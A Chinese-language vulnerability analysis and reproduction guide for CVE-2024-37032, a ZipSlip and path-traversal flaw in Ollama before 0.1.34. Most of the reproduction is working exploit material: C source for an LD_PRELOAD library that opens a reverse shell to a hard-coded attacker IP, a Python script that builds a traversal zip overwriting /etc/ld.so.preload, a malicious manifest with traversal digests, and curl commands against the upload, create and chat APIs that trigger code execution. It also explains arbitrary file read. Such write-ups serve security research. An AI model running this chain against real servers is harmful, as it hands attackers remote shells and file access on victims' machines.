概述

Ollama 是一个开源的大型语言模型服务工具,旨在帮助用户快速在本地运行大模型。通过简单的安装指令,用户可以通过一条命令轻松启动和运行开源的大型语言模型。 它提供了一个简洁易用的命令行界面和服务器,专为构建大型语言模型应用而设计。用户可以轻松下载、运行和管理各种开源 LLM。与传统 LLM 需要复杂配置和强大硬件不同,Ollama 能够让用户在消费级的 PC 上体验 LLM 的强大功能。

漏洞背景

影响版本:Ollama < 0.1.34

Ollama 存在 ZipSlip 漏洞导致的任意文件写入,通过创建恶意 zip 文件写入<font style="color:rgb(63, 63, 63);">/etc/ld.so.preload</font>可以实现远程命令执行。

对于 ZipSlip 漏洞案例可以参考 CodeQL 中有关 go-zipslip

漏洞分析

代码分析

具体漏洞发生在server/model.goparseFromZipFile函数,官方在解压压缩文件的时候没有对文件名检测../的问题导致路径可遍历进一步导致任意文件写入。

进一步到 RCE

Zipslip 常见的用来升级为 RCE 就是通过写入恶意共享库到目标的文件系统中,这个恶意共享库包含攻击者希望执行的代码,例如反弹Shell、提权代码等。

通过篡改/etc/ld.so.preload文件,将恶意共享库的路径添加到该文件中,每当系统启动一个新进程时,都会自动加载这个恶意共享库。

如何触发新进程?

Ollama 公开了多个执行各种操作的 API endpoints

攻击者通过向Ollama API服务器的/api/create端点发送请求,触发 Zipslip 完成恶意文件写入。

攻击者通过向Ollama API服务器的/api/chat端点发送请求,触发服务器启动一个新进程。

对于初始构造过的恶意 zip 有两种方式传入:

  1. /api/pull

Ollama通常使用其官方注册(registry.ollama.com),但也可以从一个私有注册中提取,该注册是一个托管AI模型的自定义服务器(类似于Ollama的官方注册表)。

Ollama 使用特定格式的模型名称:[registry]/[namespace]/[model]:[tag]

Default: ollama pull llama2

Private: ollama pull myregistry.com/myorg/custommodel:latest

也可以直接使用/api/pull端点:

bash
1
2
3
curl http://[target]:11434/api/pull -d '{
"name": "myregistry.com/myorg/custommodel:latest"
}'

当使用/api/pullAPI从私有注册中拉取模型时,可以提供恶意清单文件(一种结构化文档,用于提供有关Ollama容器映像中的模型和层的元数据和信息)。该文件可以在摘要字段中包含路径遍历有效载荷。

当下载模型时,通常会得到一个包含 manifest 文件的下载包或资源。在一个正常的 manifest 文件中,给定 layer 的 digest 字段应该与该层的哈希值一致。该字段还作为模型文件存储在磁盘的标识符,例如:

bash
1
/root/.ollama/models/blobs/sha256-2049f5674b1e92b4464e5729975c9689fcfbf0b0e4443ccf10b5339f370f9a54

但是,模型文件存储到文件系统时未对 digest 字段进行校验,如果在该字段中构造一个 payload,将会导致服务器在处理 manifest 时读取并泄露 digest 字段指定的文件内容,通过该漏洞,攻击者可读取任意文件。

例如,当通过 http://<VICTIM>:11434/api/pull 从私有仓库中下载模型时,可能会获取一个恶意的 manifest 文件,该文件的 digest 字段中将包含路径遍历的 payload:

bash
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
{
"schemaVersion": 2,
"mediaType": "application/vnd.docker.distribution.manifest.v2+json",
"config": {
"mediaType": "application/vnd.docker.container.image.v1+json",
"digest": "../../../../../../../../../../../../../../../../../../../traversal",
"size": 5
},
"layers": [
{
"mediaType": "application/vnd.ollama.image.license",
"digest": "../../../../../../../../../../../../../../../../../../../../../traversal",
"size": 7020
}
]
}
  1. /api/blobs

该接口更为方便可以直接上传构造好的恶意 zip 文件完成上传。

bash
1
2
3
sha256sum poc.zip

curl -T poc.zip -X POST 127.0.0.1:11434/api/blobs/sha256:1c2fe79aad0292fb6cccc05110fd26946932fc2e51357368c8860622d7c98a91

任意文件读取

要利用此漏洞,攻击者会在服务器上放置恶意清单文件(例如/root/.ollama/models/manifests/%IP_ADDRESS%/library/manifest/latest)。该文件包含其图层的摘要字段中的有效负载。当尝试通过/api/push端点将此恶意模型推送到远程注册表时,服务器会处理清单文件。但是,由于对摘要字段验证不当,服务器错误地将有效载荷解释为合法的文件路径。

当通过/api/push将该模型推送到远程仓库时,服务器将泄露 digest 字段中指定的文件内容,对于任意文件读取可参考https://github.com/Bi0x/CVE-2024-37032.git

漏洞复现

  1. 准备需要的 poc

编译恶意 so

c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
//gcc -shared -o vuln.so -fPIC poc.c
#include<stdio.h>
#include<unistd.h>
#include<stdarg.h>
#include<dlfcn.h>
#include<stdlib.h>
#include<arpa/inet.h>
#include<sys/socket.h>
#include<netinet/in.h>

#define REMOTE_ADDR "192.168.20.102"
#define REMOTE_PORT 6666

int shell() {
int sock;
struct sockaddr_in serv_addr;
sock = socket(AF_INET, SOCK_STREAM, 0);
if (sock == -1) {
perror("socket");
exit(EXIT_FAILURE);
}
serv_addr.sin_family = AF_INET;
serv_addr.sin_addr.s_addr = inet_addr(REMOTE_ADDR);
serv_addr.sin_port = htons(REMOTE_PORT);
if (connect(sock, (struct sockaddr *)&serv_addr, sizeof(serv_addr)) == -1) {
perror("connect");
close(sock);
exit(EXIT_FAILURE);
}
dup2(sock, 0);
dup2(sock, 1);
dup2(sock, 2);

char *argv[] = {"/bin/bash", NULL};
char *envp[] = {NULL};
execve("/bin/bash", argv, envp);

close(sock);
return 0;
}

// hooked snprintf
int snprintf(char *buffer, size_t n, const char *format, ...) {
printf("snprintf hooking!\n");
shell();
return 0;
}

创建包含恶意 so 库的 zip 和覆盖/etc/ld.so.preload

python
1
2
3
4
5
6
7
8
9
10
11
12

import zipfile

if __name__ == "__main__":
try:
zipFile = zipfile.ZipFile("poc.zip", "a", zipfile.ZIP_DEFLATED)
info = zipfile.ZipInfo("poc.zip")
zipFile.write("ld_preload", "../../../../../../../../../etc/ld.so.preload", zipfile.ZIP_DEFLATED)
zipFile.write("vuln.so", "../../../../../../../../../tmp/vuln.so", zipfile.ZIP_DEFLATED)
zipFile.close()
except IOError as e:
raise e
  1. 通过 docker 启动 ollama 环境
bash
1
docker run -d -v ollama:/root/.ollama -p 11434:11434 --name ollama ollama/ollama:0.1.33
  1. 使用/api/blobsAPI 完成恶意 zip 上传
bash
1
curl -T poc.zip -X POST 127.0.0.1:11434/api/blobs/sha256:1c2fe79aad0292fb6cccc05110fd26946932fc2e51357368c8860622d7c98a91

  1. 通过触发/api/create完成任意文件写入
bash
1
2
3
4
curl http://127.0.0.1:11434/api/create -d '{
"model": "poc1",
"modelfile": "FROM ~/.ollama/models/blobs/sha256-1c2fe79aad0292fb6cccc05110fd26946932fc2e51357368c8860622d7c98a91"
}'
  1. 触发/api/chat启动新进程加载/etc/ld.so.preload中配置的恶意库/tmp/vuln.so
bash
1
2
3
4
curl -X POST http://localhost:11434/api/chat -H "Content-Type: application/json" -d '{
"model": "tinyllama:1.1b",
"messages": []
}'

参考

https://nvd.nist.gov/vuln/detail/cve-2024-37032

https://www.wiz.io/blog/probllama-ollama-vulnerability-cve-2024-37032

https://codeql.github.com/codeql-query-help/go/go-zipslip/

https://github.com/ollama/ollama/commit/123a722a6f541e300bc8e34297ac378ebe23f527